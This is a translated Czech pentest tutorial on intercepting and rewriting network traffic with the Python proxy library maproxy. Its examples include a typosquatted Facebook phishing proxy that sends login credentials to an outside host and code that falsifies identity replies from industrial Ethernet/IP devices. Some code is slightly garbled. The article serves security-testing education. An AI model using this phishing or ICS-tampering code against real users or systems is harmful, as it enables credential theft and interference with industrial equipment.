Zpracování síťových dat v reálném čase

Překlad článku byl vyhotoven před začátkem kurzu „Pentest. Praktická zkouška prolomení“.

Zpracování síťových dat v reálném čase

Abstrakt

Různé druhy hodnocení bezpečnosti, počínaje pravidelným testováním na prolomení a operacemi Red Team, až po hackování zařízení IoT/ICS a SCADA, zahrnují práci s binárními síťovými protokoly, tedy v podstatě zachytávání a modifikaci síťových dat mezi klientem a cílem. Snížení síťového provozu není složitý úkol, protože máme k dispozici nástroje jako Wireshark, Tcpdump nebo Scapy, avšak modifikace se jeví jako úkol náročnější, neboť budeme potřebovat jakýsi rozhraní pro čtení dat sítě, jejich filtrování, změnu za chodu a zpětné odesílání na cílový hostitel téměř v reálném čase. Kromě toho by bylo ideální, kdyby takový nástroj mohl automaticky pracovat s několika paralelními spojeními a měl možnost přizpůsobení pomocí skriptů.

Jednou jsem objevil nástroj, který se nazývá maproxy, dokumentace mi rychle ukázala, že maproxy – to je přesně to, co potřebuji. Je to docela jednoduchý, univerzální a snadno konfigurovatelný TCP proxy. Tento nástroj jsem testoval na několika dost složitých aplikacích, včetně ICS zařízení (které generují hodně paketů), abych zjistil, zda může pracovat s mnoha paralelními spojeními, a nástroj se ukázal jako velmi schopný.

Tento článek vás seznámí se zpracováním síťových dat v reálném čase pomocí maproxy.

Přehled

Náklad maproxy je založen na Tornadu – populárním a vyspělém asynchronním síťovém rámci pro Python.

Celkově může pracovat v několika režimech:

  • TCP:TCP – nešifrované TCP spojení;
  • TCP:SSL a SSL:TCP – s jednosměrným šifrováním;
  • SSL:SSL – obousměrné šifrování.

Dodává se ve formě knihovny. Pro rychlé spuštění můžete využít příklady souborů, které reflektují základní funkce knihovny:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Případ 1 – jednoduchý obousměrný proxy

Na základě tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Ve výchozím nastavení ProxyServer() přijímá dva argumenty – místo připojení a cílový port. server.listen() přijímá jeden argument – port pro naslouchání příchozímu spojení.

Spuštění skriptu:

# python tcp2tcp.py

Abychom provedli test, připojíme se k místnímu SSH serveru prostřednictvím našeho proxy skriptu, který naslouchá na 2222/tcp portu a připojuje se na standardní port 22/tcp SSH serveru:

Zpracování síťových dat v reálném čase

Úvodní banner informuje, že náš vzorový skript úspěšně proxoval síťový provoz.

Případ 2 – modifikace dat

Další demo skript logging_proxy.py je ideální pro interakci se síťovými daty. Komentáře v souboru popisují metody třídy, které můžete modifikovat pro dosažení svého cíle:

Zpracování síťových dat v reálném čase

Nejzajímavější je zde:

  • on_c2p_done_read – pro zachycení dat ze strany klienta na server;
  • on_p2s_done_read – naopak.

Zkuste změnit SSH banner, který server vrací klientovi:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Spusťte skript:

Zpracování síťových dat v reálném čase

Jak vidíte, klient byl zmaten, protože jméno SSH serveru bylo změněno na "DumnySSH".

Zpracování síťových dat v reálném čase

Případ 3 – jednoduchá phishingová webová stránka

Existuje nespočet způsobů využití tohoto nástroje. Tentokrát se zaměříme na něco praktičtějšího z oblasti operací Red Team. Pojďme napodobit landing page m.facebook.com a využijeme vlastní doménu s úmyslnou chybou, například m.facebok.com. Za účelem demonstrování předpokládejme, že doména byla registrována námi.

Chystáme se nastavit nešifrované síťové spojení s naším proxy oběti a SSL Stream pro Facebook server (31.13.81.36). Aby tento příklad fungoval, musíme změnit HTTP host header a implementovat správné jméno hostitele, navíc deaktivujeme kompresi odpovědí, abychom získali snadný přístup k jejich obsahu. Nakonec změníme HTML formulář, aby se přihlašovací údaje posílaly nám místo Facebook serverům:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Nakonec:

Zpracování síťových dat v reálném čase

Jak vidíte, úspěšně jsme mohli změnit originální stránku.

Případ 4 – Poškození Ethernet/IP

Dlouho jsem pracoval s průmyslovými zařízeními a softwarem (ICS / SCADA), jako jsou programovatelné řídicí systémy (PLC), vstupně-výstupní moduly, pohony, relé, programovací struktury a mnoho dalšího. Tento případ je určen pro ty, kdo mají rádi průmyslové věci. Hacking takových řešení zahrnuje aktivní práci s síťovými protokoly. V následujícím příkladu bych chtěl ukázat, jak můžete upravit síťový provoz ICS/SCADA.

K tomu budete potřebovat následující:

  • Síťový sniffer, například Wireshark;
  • Ethernet/IP nebo jednoduše SIP zařízení, které můžete najít pomocí služby Shodan;
  • Náš skript na bázi maproxy.

Nejprve se podívejme, jak vypadá typická identifikační odpověď z CIP (Common Industrial Protocol):

Zpracování síťových dat v reálném čase

Identifikace zařízení se provádí pomocí protokolu Ethernet/IP, což je rozšířená verze Ethernet protokolu pro průmyslové účely, obalující řízení protokoly jako CIP. Chystáme se změnit určené identifikační jméno, které je viditelné na snímku obrazovky "NI-IndComm for Ethernet" pomocí našeho proxy skriptu. Můžeme znovu použít skript logging_proxy.py a podobně upravit metodu třídy on_p2s_done_read, protože chceme, aby na klientovi bylo viditelné jiné identifikační jméno.

Kód:

[…]
 def on_p2s_done_read(self,data):
 # částečná náhrada odpovědi

 # Kontrola, zda jsme dostali odpověď na zprávu List Identity
     if data[26:28] == b'x0cx00':
         print('Získána odpověď, nahrazení')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

V podstatě jsme požádali o identifikaci zařízení dvakrát, druhá odpověď byla originální, první byla modifikována za běhu.

A nakonec

podle mého názoru maproxy užitečný a jednoduchý nástroj, který je také napsán v Pythonu, takže si myslím, že i vy byste mohli mít prospěch z jeho používání. Samozřejmě existují složitější nástroje pro zpracování a úpravu síťových dat, ale také vyžadují více pozornosti a obvykle jsou vytvářeny pro konkrétní scénáře použití, například Muraena, Modlishka nebo evilginx pro případy podobné třetímu, nebo canape pro poslední případ. Tak či onak, pomocí maproxy můžete rychle realizovat své nápady na zachycení síťových dat, protože příklady skriptů jsou velmi názorné.

Testování autentizačních mechanismů ve Windows AD

Zdroj: habr.com

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster